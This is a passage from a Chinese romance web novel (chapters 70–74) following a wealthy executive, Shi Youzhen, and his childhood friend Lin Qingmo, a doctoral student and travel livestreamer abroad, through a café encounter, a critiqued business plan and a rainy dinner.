清茉沉默了一小会,运转着镜头带大家看美丽景色,迎着风大声说着:“人生大概就是,生便生,死即死,但是总得有几个瞬间,不枉劳碌地在世上活一遭。” “哪怕是几秒钟震撼的美景,看到冰山了吗?世界尽头的冰山,南美大陆的尽头,再南边就是南极。前几天想起来小时候有人承诺过会带我来这里旅行,已经过去很久了,估计都忘了,但是我突然很想来一次,不用谁陪着,自己来也很好。” 清茉放轻了声音,喃喃说着:“世界的尽头。” 她举着镜头在沿海走了很长的一段距离,偶尔简单添几句当地历史文化的讲解,大部分时间安静地拍着景色,很多人其实把清茉的直播当成解压陪伴视频,一起听着海边的风声和浪涛。 施友臻没有投打赏套餐惊扰安静的画面,但是记得清茉说得那个旅行的承诺。 时空总是这么遗憾的交错,他没有忘记承诺,却被剥夺了践行的机会,而在这交错的时空里,没有谁是过错方,所以遗憾的感觉更甚。 那天清茉的直播仍旧是很大流量的人在看,清茉随口讲的那句“人生大概就是,生便生,死即死,但是总得有几个瞬间,不枉劳碌地在世上活一遭。”因为清亮沉静的女孩嗓音混杂着海风呼啸的粗犷质感,被很多人剪辑出来配视频,像快意恩仇看淡因果的潇洒江湖。 施友臻把这次直播全程录制了下来,回程的十几个小时,在飞机上反复看了几遍,像捧着一个刚刚发现的、珍贵的、易碎的、从未展露于世间的新鲜灵魂。 第70章 第七十章 施友臻的第五次旅行,因为要…… 施友臻的第五次旅行, 因为要处理走不开的工作,破坏了既定的日期规划,被迫拖延了两周。忙碌起来时间过得也飞快, 为了赶进度,他这段时间下班都很晚,回到已经住得非常习惯的小房产中, 打开录制下来的清茉直播,大屏幕投屏, 进入一个身心放松的私人时空。 虽然耽误了第五次的旅行, 施友臻也没闲着, 抽空去看了一套新的房产, 在北边毗邻野郊公园的位置, 步行就可以走到风景区的爬山栈道,独栋别墅很清静,带着宽敞的前院后院, 房子是能讲出近代历史的洋房, 房价起起伏伏,这栋房子的价格巍然不动, 是很珍贵的房源。 施友臻那天无意中看到了这栋房子冬天雪景中拍摄的艺术照片, 西式建筑在中式园林的框景中, 淋了远远近近的白雪,层层远山也意蕴悠远, 施友臻只看一眼就觉得中意, 清茉喜欢纯粹的阳光、呼啸的风、清亮的雨水,还有冬天的大雪。 去年她在雪地上摆弄雪人的照片施友臻冲洗出了一组照片,时常看一眼,瞧着照片上她明亮亮带着笑意的眼睛, 施友臻不觉得她那刻的欢喜是假。 时间已经走过寒冬,也走过这个城市短暂又美丽的春天,眼看着要进入盛夏,施友臻抽空去看房子的时候,已经很长时间没有住人的洋房外,绿植葱郁,几乎淹没了庭院。 洋房最初的建筑设计师在当年很有名气,就算几经易手,仍看得出当年的匠心独运,西方的简约线条和东方的留白意境结合得很有境界,施友臻亲自上手,拍摄了很多照片。 买下房子的过程也不简单,房主虽然现在移居海外,仍旧犹豫是不是要售出,毕竟是不差钱的家族,其实已经回绝过一次施友臻了。施友臻长这么大,唯一的破例只留给了林清茉,其他的,仍旧是想要就一定得到的风格。 施友臻去拜托了爷爷。施爷爷对于大孙子头一次求上门的需求非常稀罕,乐呵说着:“他家的我知道,我留洋时候的老同学家嘛,怎么看上人家的宝贝了?那处洋房有价无市的哟,不好开这个口吧!” 施友臻一脸平静说着:“结婚了想住,我喜欢的人看不上我现在的几处房产。” 施爷爷被茶呛到,跟施妈妈的反应一样,怀疑自己听劈叉了,问着:“你说什么?谁结婚?你处对象了?终于要结婚了?你喜欢的人喜欢?哪户人家的啊瞧不上咱们?” 施友臻:“……” 施爷爷茶杯一放,亮眼放光拍胸脯保证:“乖孙!包爷爷身上,你就准备好钱!不不不,爷爷买给我孙媳妇当新婚礼物!” 施友臻:“不用,我自己买,谢谢爷爷。” 施爷爷送走施友臻后,兴奋得难以置信,喊来施妈妈对账,施妈妈一拍手,说着:“那对上了!前几天,友臻跟我讲要给我生个孙女带着玩!我的天,这孩子这么大怎么还是闷声干大事?催婚催了这么多年都没信儿,突然就定了?” 施爷爷一听,第二天立马飞了一趟海外,找了老同学,好好聊了一番,老朋友也在为儿孙的事业周转筹集资金,合计之下,点头割爱,陪着施爷爷回国玩了一圈,去施友臻那里参观融恒如日中天的新兴产业,当即办了售卖手续,给儿孙们寻了些融恒的人脉,也算是置换另一种急需的财富了。 施爷爷拜托对方的话由说是大孙子办婚事想用,对方老人家就问了施友臻是哪家的女儿,这种家大业大的大家族,一般都默认是势均力敌的联姻,施爷爷自然是答不上来,施友臻礼貌说着:“是一直喜欢的女孩,到时候邀请您参加婚礼。” 施爷爷在一旁听得大眼瞪小眼,送走客人后返回来追问着:“真要结婚了?爷爷是不是该准备准备了?一直喜欢的女孩吗?没见着你跟谁一直相处啊?” 施友臻:“……” 施爷爷见也问不出什么有价值的信息,全当施友臻自己有自己的节奏,就说着:“那不问了,等你信儿。说起来,你小时候,一直喜欢的那个女孩,就是林家那个,要是林家不倒,我以为你跟林家小姑娘有戏。” 施爷爷这句话倒是让施友臻意外,他打破沉默,问爷爷:“我小时候就喜欢?爷爷您记错了吧,她跟少衡玩得好。” 施爷爷不屑道:“得了吧,你连猫猫狗狗都不让近身,但是天天允许林家小姑娘黏着,你那屋谁也不让随便进,林家小姑娘就可以,还能去你床上打滚,你还帮她写作业,哦,对,你还偷偷在二楼窗户上看她跟少衡玩,爷爷火眼金睛着呢!碰见几次我就看出来了。” 爷爷长叹一口气,站起来,说着:“咱们家你跟我最像,我小时候也有个喜欢的,我就是假装不那么喜欢,执拗又不想让旁人瞧出来,结果没等我提亲,她就嫁人了,动荡辗转,就再没见过了,音信都打听不到。” “林家搬走了之后,我还担心过一阵,看你没有受到干扰才放了心。感情嘛,适合锦上添花,不适合蹉跎,爷爷虽然年纪大了,在这儿一天,就是你一天的后盾,反正乖孙你不要留下什么遗憾。” 第五次旅行之前,施友臻终于办完了所有购置手续。 花费了大量的精力和金钱,动机仅仅是觉得她可能会喜欢。 抵达之后,还是入住了那家酒店,天气已经很炎热,林清茉的平台账号上没有预告最近的旅行计划,施友臻觉得可能还是有机会遇到。 他是想乐观了,清茉最近很忙,并不在这个城市。 南美旅行回来之后时差和超长途的旅行让清茉疲惫地睡了两天,休息好之后兑现承诺给恩永做了一次肉夹馍,恩永带着上次的一个朋友来吃,就是立志要当体育记者的那个小伙子,叫卫志,吃饭的时候闲聊,卫志还真的注册了体育传媒公司,最近在招人。 清茉详细问了问情况,她虽然没有独立做过管理岗,不过跃跃欲试,她课业压力不重,平时时间充裕,就问着:“听你意思,招兵买马还任务艰巨呗,要不我试试?除了撰稿,也帮你做管理怎么样?我之前做过很长时间的大集团综合部门主管。” 恩永也推荐说着:“森姐绝对没问题,高知,情商好智商更高,你放心交给我姐,薪酬给高一点!” 卫志也松口气,说着:“那我可太谢谢了,说实话我这就是跟家里争一口气,都觉得我不行,我非得干,正犹豫去哪里挖职业经理人呢,姐,你之前在哪个集团?” 清茉报了前公司的名字,卫志听说过,说着:“怪不得觉得姐办事周到,不愧是大集团出来的人。” 倒是恩永一愣,也不藏话,八卦着:“姐,你知不知道你前公司跟融恒有什么过节吗?我前段时间听他们闲聊,说你前公司进了融恒合作黑名单,有内幕八卦吗?” 清茉也是头一次听说,狐疑道:“我在的时候跟融恒没有业务往来,我年前就离职了,最近什么情况不太了解。” 卫志创立公司的想法跟动机很好,现实很骨感,不管是传统媒体还是新媒体领域,体育新闻行业已经被几个头部瓜分,小伙子也只是搞了几个新媒体号,硬买流量撑着,业绩全靠砸钱,没什么投入产出比。 清茉对这个行业也完全不了解,去卫志租的办公楼瞧了眼,脑袋空空没有一点思路,恩永跟卫志也没那么上心,置办的一排办公电脑全用来呼朋唤友打游戏了,清茉瞧着年轻人砸钱整的这个公司壳子,觉得这么混下去很浪费,很可惜,就干脆自己琢磨着开始做市场调研。 她实在也没什么头绪和经验,想起来那次艾米过来,施友臻陪她一起跟朋友聚会,施友臻简洁直接地给艾米提的那些建议,所以如果现在施友臻在身边,他会给什么建议。 如果是施友臻,会怎么做。 林清茉在艰难的那些年,会靠着这种想法,去颤巍巍地咬着牙忍着眼泪坚强选择,兜兜转转陷入另一个循环,现在还是会这样想,如果是施友臻,会怎么做。 清茉打开融恒公司的首页,反正没有什么思路,就慢慢浏览融恒网页上的各种新闻,看得多了,积累总结中,更能看出施友臻的行事逻辑。 施友臻是太出色的人。 清茉深呼吸几番,觉得单纯做体育传媒没有太大意义,问卫志想不想尝试文化体育项目的实体交流。 卫志第一反应是觉得太麻烦了,跟人扯上关系,就意味着要付出更多的精力,他可以投钱,但是不想投太麻烦的项目。 恩永倒是觉得有意思,尤其是青少年体育运动项目交流这块,鼓励道:“现在也有一些项目,感觉还是会有很大缺口,姐,你调研下国内外市场跟运作模式,我感觉可以试试。” 清茉就真的说干就干,跑了好几个城市调研项目,小伙子们启动资金没有问题,关键是找到一个有意义又能落地的好项目,说实话清茉甚至想,要是能依托融恒的口碑,做个融恒海外的文旅公司,可能会更顺利。 简单说就是能不能白嫖施友臻啊,好想白嫖。 清茉就是那么想想,想完乖乖继续做市场调研,完美错过了施友臻的第五次旅行,只在返程后,发现家门口木栅栏里,又被人放了一捧新鲜的玫瑰花。《 》 70-80 第71章 第七十一章 清茉上次旅行回来,就发现…… 清茉上次旅行回来, 就发现家门口有一束走向枯萎的玫瑰花,疑惑是不是花店老板把销售不完的花分给邻里,她好多天不在家, 错过了接收新鲜花束。这次回家,发现门口有一束更大更夸张的新鲜玫瑰。 正好屋子里花瓶要换花,清茉把花分成两捧修剪醒好, 拍了两张照片传到平台账号,写着:“收到了匿名人士的漂亮鲜花, 分享给大家看, 最近实在有些忙, 等我想想下一个直播主题, 学术会议感兴趣吗?给大家展示个参加国际学术会议的议程?拍拍校园?” 清茉的市场调研做得差不多, 但是总觉得缺少一丢丢实战的信心,给别人打工和要独自开创业务领域,是完全不同的两种心态, 她谨慎地还在权衡, 小伙子们说得也没错,单纯做账号, 比要跟很多人打交道、负责很多人的行程, 简单得多。 晚上睡前浏览账号后台信息的时候, 看到“美食探险家”后台发来的私信,晒出了清茉之前发出的明信片, 写着:“谢谢, 很喜欢。” 清茉在南美旅行的时候,也给他发了世界尽头灯塔的明信片,不过估计邮递回国内要好一段时间,回复着:“客气!” 美食探险家:“最近还要出去旅行吗?” 清茉:“最近有些忙, 估计没有时间。” 美食探险家:“短途旅行呢?” 清茉:“想看旅行直播吗?这两周估计都不会外出,要等到下半个月了。” 美食探险家:“没关系。” 施友臻也不确定这种低效的沟通方式要持续到什么时候,反正第六次的旅行按照既定的时间出发了,在机场的时候施妈妈拨过来电话,原本想喊施友臻过去吃饭,听到施友臻又周末飞海外,心头一亮,试探问着:“原来你是谈了异地恋?” 施友臻默认。 心里有种隐约的预感,觉得这次会遇见,施友臻入住酒店后,换了身休闲衣服,到楼下遛弯。清茉平台上分享的日常照片里,有一家她经常光顾的僻静小咖啡店,在通往学校的那条街道的尽头,平日里很安静,清茉喜欢坐在临街的窗景位置上看书整理资料。 施友臻把清茉账号上经常出现的几处地点做了统计,包括出现的时间、频率,他甚至画了一张专属地图,已经是第六次旅行,施友臻觉得,或许该发生点什么了。 施友臻路过那家咖啡店的时候,看到了独自坐在外面路边座位上的清茉。 她手边放着几本书,对着电脑屏幕蹙眉,好像遇到了什么难以解决的问题。仍旧是很简洁的穿衣风格,白色的T,看着很舒适的米色宽松工装裤,还有她惯穿的帆布鞋。 施友臻站在那里,想起之前硬往自己身上凹风尘色彩的时候,有过几次浓妆艳抹装扮的清茉,像另外一个时空的另外一个人,但是不管是哪个,施友臻都觉得自己被钓得鬼迷心窍,艳丽妖娆也好,清纯干净也好,像笃定吃准了施友臻。 施友臻拉开清茉对面的椅子,坐了下来。 清茉抬眼看过来,眨了眨眼睛,很仔细地看着施友臻 。 施友臻以为清茉会戒备地问他是不是又来出差,怎么那么巧是不是故意的之类。结果清茉只是一开始有些诧异神情,眼睛反而惊喜似的一亮,把电脑屏幕往施友臻面前一转,脸上已经是甜甜的笑,讲话语气也软软绵绵,说着: “哥?来得早不如来得巧,帮我看看这个实施方案行不行?” 施友臻:“……” 跳出风花雪月的矫情,林清茉坦率得让施友臻都觉得吃醋,眼前这么大一个人千里迢迢赶过来,千将就万将就,不敢催不敢问,电话号码都没有,小心翼翼捧着哄着,结果这家伙迎面劈头盖脸让改方案,施友臻有那么一瞬间可以共情打工人,怎么能不分时间地点就打开电脑改方案呢? 林清茉一脸期待地昂着小脸盯着施友臻,个子高大的男人没有套在他硬金属铠甲一样冷冰冰的高级套装中,穿着很考究的休闲衣裳,林清茉承认自己也很喜欢施友臻的这张脸,应该是女人都容易着迷的那种,成熟又锐利,旁人都说会害怕施友臻,眼神扫过来的时候都想主动交代。 清茉从小跟施友臻相处,没有那种害怕的感觉,反而看他总是那么严肃,忍不住想调笑逗弄两句,爱看施友臻不一样的,露出情绪缝隙的瞬间。 她喜欢施友臻漂亮的大脑。 清茉笑着问:“哥,喝点什么?给你点杯招牌咖啡怎么样?” 施友臻看着清茉的眼睛,忍了又忍,因为一见面就改方案实在离谱,没忍住问她:“所以还是没有别的想跟我讲?” 清茉笑眯眯起身去点咖啡,几分钟后亲手端过来,捧到施友臻眼前,说着:“哥,你等我回头列个单子慢慢交代,先帮我看看方案好不好?难得遇见投资大佬,我最近好烦恼,不知道能不能行,可不可以实施。” 施友臻端过咖啡,冷着脸浅尝了一口,放杯子的时候低头就看到清茉一脸期待地盯着他,施友臻脑子里过了一万个等价交换的方案,但是最后还是败给了林清茉的殷殷目光,拉近电脑,浏览了一边清茉的方案。 清茉在一旁解释说着:“是恩永的朋友注册了一个公司,原本只做线上新媒体,这孩子投了很多钱,没见多大水花,他又立志搞体育,我觉得搞青少年国际交流项目好像不错,调研了现在的几个公司,跑了几个城市去参观,这边青训文化很有特色,就想着能不能走文旅体商结合的模式。” 施友臻看的时候,难得走神地想,要是之前,他肯定会讲条件,至少会索要很多很多深吻,现在朗朗乾坤光天化日,他干着白工,竟然心里没底地不敢提了,真是…… 刚走神几秒,林清茉竟然瞧了出来,在一旁监工似的提醒:“哥,往下看嘛。” 施友臻:“谁是你哥?” 清茉一怔,哄道:“宰相肚子能撑船,您是我亲哥。” 亲哥不能通婚,施友臻听着她哄恩永的那种语气来哄他,心气儿更不顺了,批评道:“很不成熟的一份方案,让我看就是浪费时间。” 清茉一愣,神情瞬间暗淡下来,估计没想到施友臻讲话这么不留情面,嘴角都挂不住耷拉下来,犹疑说着:“是吧……我不太擅长自己创业,虽然想了很久,是不太好实施吧,哥,你说不行,估计是真的很不行,那算了,我再想想别的,按部就班只做新媒体也行。” 施友臻把电脑推回去,他没想到简单两句否认的话对清茉杀伤力那么大,眼圈都红了,不是某集团前行政主管嘛,抗压能力怎么这么差,好像他做了很坏很坏的人一样。 清茉把电脑收了,放回包里,平复了下情绪,这才跟施友臻回归正常话题交流,说着:“谢谢哥,哥也来出差嘛?前段时间碰到少衡来着。” 少衡没提过。 到底还是不一样,清茉没法把对施友臻的感情跟对少衡的画等号,但是好像,也就是那样吧。 施友臻把人打击了,心里也微妙地非常介意,说着:“不是不可以实施,是你的方案没有想好实施的基础,青少年项目要想好怎么找背书,凭空出现,消费者凭什么相信你。” 清茉为难,实话实说:“所以是BUG,很难一开始就找到权威的背书。” 施友臻看她神情好一些,说着:“所以融恒给你一个尝试机会要不要?职工家庭日福利旅游项目,可以家庭为单位,报名青少年青训参观体验项目,资金走融恒职工福利,你来全程策划负责,融恒这边会推荐经常合作的旅行社,青训项目的洽谈融恒也可以官方出面。” 清茉愣住,施友臻继续说着:“把恩永朋友公司的资质发给我,我先看看,资质不够的话,再想其他办法,林清茉,你要不要自己注册个公司?” 清茉心跳加快,咬紧了下唇,施友臻说着:“所以你该拿走那对镯子,倒手一卖,什么启动资金都有了。” 清茉脸涨红,眼圈也红红的,说着:“哥,你别跟我开玩笑,我跟你道歉。” 施友臻不接受:“不用,不接受。” 清茉:“……” 施友臻继续火上浇油:“当然,那样的话,你估计又会涉入你逃避的话题,必须跟我,跟融恒牵扯在一起,如果你高傲的自尊心接受不了,当我没说。” 清茉:“……” 这跟施友臻设想的情境南辕北辙,他拉开椅子坐到清茉对面的那刻还在想,很浪漫,美妙的天气,情调的咖啡馆,他突然出现在意中人面前,天降的姻缘一般。结果,话赶话,他好像成了恶棍角色。 施友臻平生第一次感受到了“委屈”的情绪色彩。 他固执地又问了一遍:“你没什么别的要跟我说吗?” 第72章 第七十二章 施友臻问得固执,林清茉僵…… 施友臻问得固执, 林清茉僵持着不能回答。 她知道施友臻想听什么。 哄一个男人并不难,好言好语地只讲对方爱听的,就可以事半功倍, 清茉被他毫无语言艺术地毙掉了费尽心思的方案,哪有半点好心情去哄。 更何况异国他乡这样面对面坐着,好像更应该交代什么的, 是施友臻,为什么、凭什么一定要固执地出现呢? 施友臻刚想说什么, 清茉抬眼就看到恩永骑着自行车飞驰而过, 恩永也瞥见咖啡店露天座位上面朝街道的清茉, 急急刹住车子, 明朗打招呼喊着:“嗨!姐!晚上开伙吗?” 清茉抬手跟恩永挥了挥, 问着:“又饿了吗?想吃什么?” 恩永抱着对美食的敬意,认真思考一番,说着:“炸酱面?茄丁面也行?想吃劲道面条, 姐你学学手擀面呗, 好饿!” 施友臻背对街道,恩永并没有看清是谁, 原本只当清茉跟朋友坐一起, 恩永没多想, 把自行车停好,刚好觉得口渴, 就要进店里点凉饮。路过的时候, 恩永一张笑脸灿烂地扭头跟清茉坐在一起的人打招呼: “嗨……嗨……?” 恩永觉得跟他森姐面对面坐一桌的男人,怎么这么眼熟。 不确定,再看看。 “!!!”恩永惊疑地试探问道:“大哥?” 施友臻对着吃货弟弟点头。 恩永瞪大眼睛,他钢铁战士一样天天穿着一身高定深色西装稳坐融恒高层办公室的人物, 为什么会在街头露天的咖啡厅身着陌生的一身休闲装跟森姐坐对桌? 是缘分还是惊悚?恩永诧异得声音都拔高了:“大哥?!您怎么在这里!好巧,您这是正好跟我森姐坐一桌了吗?介绍一下吗?森姐,这是我堂哥,哥,这是我饭搭子森姐。” 清茉跟施友臻之间微妙的,剑拔弩张相互计较的,并不怎么愉快的对话氛围被恩永搅乱,清茉看着恩永心情稍微好些,有些千丝万缕的缘分,带着几分喜剧色彩,她心里想着,她跟施友臻,确实是认识很多很多年的人了。 施友臻稍微,应该是稍微,有点吃味,手指敲了敲桌面,审问恩永:“森姐?森姐是谁?” 恩永乐呵呵介绍道:“哦,你们这是搭桌坐还不认识呢?那更巧了,森姐就是坐着您对面的女士,我在这边的饭搭子,好巧,您跟森姐坐一桌我都不敢认了。” 清茉:“……” 施友臻:“她不叫森姐,她叫林清茉,怎么,你不认识?” 恩永一愣,立马接话道:“认识啊,森姐真是我饭搭子,我可馋家常菜了,全靠森姐帮我解馋。”恩永说完,又觉得“林清茉”这个名字很耳熟,寻思半天也没想出来。 清茉看不惯施友臻刁难小孩子,起身问着:“是要买水吗?我给你拿瓶,坐吧,跟你哥聊聊天。” 恩永小心翼翼坐下,问着:“哥,您这是微服私访吗?公司都没收到信儿?我是保密还是通知领导们接驾?” 施友臻:“保密。” 恩永:“哦……” 施友臻问他:“你经常去她家蹭饭?” 恩永点头:“嗯,姐做饭挺好吃的,有家里的味道。” 施友臻认真思考,他是不是都没尝过林清茉亲自下厨的手艺,倒是他伺候过清茉好几次,这么一想,看恩永就更不怎么顺眼了,怎么可以有人这么独享近水楼台。 清茉端了杯冰水出来,递给恩永,恩永谢着接过来,往旁边挪了挪,让出清茉的位置,让她也坐,继续介绍道:“姐,我哥是我公司的顶头上司,融恒在国内很厉害,我哥是那种经常上财经杂志的人。” 恩永咕咚咕咚喝两口水,继续介绍道:“哥,我森姐在读博士,学术很厉害,姐你最近是不是也发了几篇很厉害的文章?” 清茉想着自己那被批评的方案,心里幽怨,调侃道:“我那点本事怎么能跟你哥比,入不了法眼。” 恩永估计头一次听清茉阴阳怪气,疑惑但是没往心里去,继续乐呵道:“术业有专攻嘛,姐你很厉害了,光新媒体账号运营就超厉害。” 清茉点头,也冲着施友臻敲了敲桌面,说着:“你学学你弟弟怎么聊天的。” 施友臻直白问着:“所以你喜欢恩永这样的,不喜欢我?” 清茉:“……” 恩永:“?”他虽然被他哥喊成了“这样的”,但是没空计较,被如此惊悚的对话内容震惊,眼睛瞪得像铜铃,支支吾吾问着:“喜欢……谁?” 清茉冲恩永伸出手,自我介绍道:“不好意思啊,恩永,我是林清茉,你那时候太小可能不太记得,我小时候住在你哥家隔壁,姓林的那家,后来搬走了,小时候咱俩一起玩过几次。” 恩永迟疑地伸出手要去握手,就看到施友臻捏着清茉的手腕,把清茉的手拨开,不让恩永握。 恩永仍旧震惊,问着:“所以……哥,森姐,你们认识?还是……在谈恋爱吗?” 施友臻:“嗯。” 林清茉:“不,不,没有在谈,碰巧遇到而已。” 恩永瞧着他哥的脸色,猛从座位上站起来,决定逃离,两口喝完水,立马去跨上自行车,但是出发前还是冲着林清茉喊道:“姐!我站你这边,有问题随时给我打电话,我来接你!” 清茉忍笑,回着:“谢谢!” 施友臻摇了摇头,重新打开了清茉的电脑,找出刚才浏览的文档,说着:“坐过来一点,我给你从头改一遍。” 他变魔法似的从衣兜里掏出两颗巧克力,几分强硬地拉过清茉的手,放到她手心,说着:“创业要做好心里准备,很难但是也会很有成就感,我给你过一遍方案。” 林清茉剥开巧克力,问着:“您这身价,我可不敢劳烦,万一又发邮件秋后算账,我可还不起。” 施友臻抬眼看她:“看样子是收到邮件了。” 他已经上手批注修改,淡定说着:“林清茉,我也是你的资源,可以大大方方去用。” 第73章 第七十三章 林清茉想起来之前施友臻亲…… 林清茉想起来之前施友臻亲手撰写的那份留学建议指南, 今日种种,也是因为那份指南撬动了心弦,施友臻的行文风格已经洗练到顶级简洁, 今天坐在清茉身边,因为分离而拉长的时光又被压缩回来,她看着施友臻在每一段文字后面备注融恒相关业务的关联公司, 抬头看向施友臻的侧脸,走了神。 施友臻好像故意拿捏了新的距离尺度, 尤其是肢体接触, 从前的亲昵戛然而止, 他只是敲了敲桌面, 提醒道:“专心一点。” 清茉点头, 但是犹疑了一下,拒绝道:“要不……还是算了,你知道我家的情况, 创业风险太大, 一朝一夕可能就全赔进去了,我觉得自己还是适合打份工, 拿到学位之后, 进高校也是安稳日子。” 施友臻敲打键盘的手停了下来, 心情竟然意外地很不错,在他的逻辑看来, 清茉能够坦然展露出心理矛盾和挣扎的一面, 是对于他们两人亲密关系的承认。 施友臻写完批注,保存文档,没鼓励,也没否定, 淡定说了句:“如果你用出逃的决心,干什么都会成功。” 清茉:“……” 施友臻已经基本改完,花费了大约半个小时,清茉把金贵的文档点了好几次保存,问着:“需要我请您吃饭吗?施总好忙的吧,要是有饭局我就不留了。” 施友臻也起身:“不忙,你家住附近吗?尝尝你的手艺。” 清茉并不是那么想进厨房,拒绝道:“也没有备菜,太麻烦了,吃家好吃的餐厅怎么样?” 施友臻不满:“所以只有恩永才有吃的特权?” 清茉:“这么讲也没错,我们是视频搭子。” 清茉收拾好东西,问着:“那家餐厅步行过去大概十五分钟,去吗?” 施友臻从善如流,退而求其次,说着:“嗯,去。” 好巧不巧,去往餐厅的道路,要路过清茉的住处,清茉原本想绕过去,偏偏落了雨滴,开始越下越大,听邻居们讲,今年的雨水比往年要多,说赶上就赶上了,清茉把电脑抱在怀里快跑两步,清亮亮的声音透过雨帘冲施友臻喊着:“跟我回家拿把伞!” 施友臻这次终于名正言顺地踏进那个熟悉的栅栏,清茉让他进门,聊道:“我导师朋友租给我的房子,对了,前段时间导师提了一嘴,说融恒资助了项目,哥,你知道吗?我没详细聊,导师下个月过来,说当面聊一聊,听说融恒资助得挺多。” 施友臻站在门口玄关仔细看着这个房子,心情微妙,觉得这儿并没有被他盘踞的那个小房子舒服,他像个畏缩在门口的客人,而不是独占的主人。 清茉取了两把伞,递给施友臻,施友臻拒绝接,说着:“就在家里吃吧,煎个鸡蛋喝杯咖啡也可以。” 清茉:“……”她看了看外面越下越大的雨,妥协道:“那好吧,我看看冰箱里还有什么。” 还有恩永上次拿来的一块牛排,几个鸡蛋,意大利面。 施友臻抱着胳膊站在厨房岛台旁边看着清茉准备煎牛排,瞧见了直播时候架手机的支架,他看了太多遍直播录像,对这个方寸之间的小天地很是熟悉。亲眼看到清茉在灶台前忙活,施友臻在努力组织语言,又觉得这么平和地随便聊点什么,更加轻松。 清茉怕没有滋味,多磨了些胡椒盐,尽量摆盘漂亮些端到餐桌上,问施友臻:“在这边开车吗?恩永前几天拿了几瓶佐餐酒过来,来一杯?” 恩永,恩永,又是恩永,恩永未免介入太多的空间。施友臻有些计较,碍于面子又不能表现出来,只是说着:“好。” 餐桌靠着窗户,正好看到绿植满满的小院落还有一窗雨帘,清茉坐到施友臻对面,安静看了会雨,说着:“估计得下一会。” 施友臻品尝着清茉的手艺,摆盘不算漂亮,味道还算可以,他安静进食,不时抬眼看着清茉,清茉被他瞧得不自在,有种施友臻要把她拌到餐盘中一起拌饭吃掉的感觉。 施友臻保持着良好的餐桌礼仪,绅士地切割牛排,清茉晚上不吃主食,只尝了几块牛排,看施友臻吃得有滋有味,聊道:“哥,我看到你联姻的新闻了。” 施友臻放在刀叉,结束了用餐,问清茉:“所以?” 清茉带上几分浅笑:“嗯,我觉得还挺配。” 施友臻也看向外面的雨,说着:“这就是你想说的?” 清茉没吭声,也安静看了一会,坦白道:“会觉得有点遗憾,但是又觉得这样才是正确的。还能跟哥心平气和坐在一起聊天吃饭,已经是功德圆满了,贪心的话,就会计较,计较容易长结节。” 施友臻未做评价,清茉看了眼时间,问着:“哥,过来住几天?” 施友臻的二十四小时其实马上又要到时限了,他该起身离开收拾行李奔向机场了,邂逅像额外附赠的幸运,但是这种聊得不够透彻的天,让他并不想离开。 但是施友臻还是站起来了,他感谢了清茉的款待,第二次借用了清茉的雨伞,站在门口的时候对清茉说道: “我去联姻,你接着念书,毕业去学校里任教,过平稳的生活,都是可以遇见的既定轨道,都是不算多坏的选择。不过,林清茉,你要是一直这么懦弱、自私和逃避的话,也只能这样了。我反思的结论是,要尊重你选择的自由,我来这里,可能是为了再见见你,也可能是一种戒断的过程,你都明白不是吗。” 施友臻撑起了伞,他看着清茉的眼睛,不像是威胁,也不像是控诉,甚至轻微地叹了口气,说着:“我之后可能还会出现很多次,也可能有一天就不出现了,所以在能见到的时候,好好想清楚吧。” 他说:“我也想过,或许根本的原因,并不是因为你介意过去的羁绊,或者畏惧未来的不确定性,原因或许很简单,只是我不想承认罢了,林清茉,你并没有那么在乎,没有那么喜欢对吗?如果真的刻骨铭心,不会轻易就放弃,甚至都没有尝试过。” 清茉不吭声,施友臻也不再问,点头道:“好了,进去吧,要淋湿了。” 清茉留在了门口,目送施友臻撑着伞走进了雨里,刚才施友臻的话,并没有达到杀人诛心的效果,因为清茉之前都已经想过很多次了。她也很好奇,文艺作品中所谓的刻骨铭心的感情究竟是怎么样的存在。 而她,看着施友臻挺拔的雨中背影,只是觉得非囊中之物,他有他的路,一条离着清茉很遥远的路,遇见是馈赠,离开也是正常。 但是心情跟被雨水浸透一样,沉甸甸泛着湿凉。 施友臻回到酒店给恩永打了电话,让恩永开车送他去机场,一路上恩永尝试着问几句八卦,后视镜中观察着施友臻的脸色,终究还是不敢问。 施友臻登机前,递给恩永一本册子,说道:“这是我购置的一处房产,你跟林清茉讲,就说是你家里的,需要采购家居,她审美好,让她帮着参谋,林清茉有喜欢的你就去买下来,我给你拨转款。” 恩永:“啊?等一下哥,我捋一下,就是找理由让森姐买喜欢的家具呗,买她喜欢的。” 施友臻:“嗯。” 恩永:“哥,这不会害人吧,我森姐是好人。” 施友臻扔他一记眼刀,纠正道:“是林清茉,不是什么森姐。放心,不会。” 恩永无知者无畏,继续追问:“那买了干嘛?” 施友臻:“我跟她结婚之后要用。” 恩永:“!” 第74章 第七十四章 恩永看林清茉的眼神都变了…… 恩永看林清茉的眼神都变了。 抱着胳膊审判官似的坐在清茉家沙发上盯着她, 林清茉在剪辑视频,抬眼越过电脑屏幕瞥恩永一眼,该忙什么继续忙什么。 大哥竟然找了嫂子。 嫂子竟然不承认自己是嫂子。 他哥竟然没追到嫂子。 但是他哥想跟嫂子结婚。 恩永:“……” 八卦永远是第一生产力, 他趴到清茉书桌前,胳膊撑着桌面,问着:“所以, 我小时候见过姐?隐约有一点点印象,在大哥家玩的漂亮小姐姐, 是不是给我投喂过零食?” 清茉:“你小时候的屁股蛋跟脸蛋一样软, 很好捏。” 恩永:“……那, 姐, 你是不是跟少衡哥也很熟?少衡哥知道吗?” 清茉:“知道什么?” 恩永:“知道大哥想追你但是你没答应。” 清茉淡定道:“不知道, 你别乱说,注意人身安全,你大哥不像善人, 小心打击报复。” 恩永:“啧, 姐你这是吃过什么天大的亏吗?在背后编排我大哥。” 清茉:“那我哪儿敢,这不是为你好嘛, 没事别赖我这儿, 不去上班吗?你哥给你安排盯梢的新任务了?” 意料之外, 似乎又有点情理之中,对于豪门辛秘耳闻颇多的恩永, 仍旧站在森姐这边, 甚至觉得不答应是清醒、明智、勇敢的,要是清茉是他亲姐姐,恩永觉得自己会操心很多未来的事情,并不觉得只有单纯的爱情就够了, 因为对方是施友臻。 但是,如果真的相爱,那就另当别论了,不好说,再观察观察看看。 恩永告辞,没着急把施友臻交付的任务传达给森姐,出门骑上他的自行车潇洒滚蛋,朗声喊着:“拜拜姐!期待下次直播!” 清茉应着,让他慢点骑,送走恩永站在门口望着外面也呆站了片刻。 日子也就这么继续过下去,清茉对于创业的事情仍旧充满犹疑,所以暂时搁置,冷静几分,专心准备下个月国内导师来访的课题,两边导师都感兴趣,可以好好推进一下,毕竟是本职学术研究的工作,她潜心扎在学校里准备,旁的就不去多想了,就,顺其自然吧。 在清茉没有关注的角落里,倒是有件网络事件在慢慢发酵。 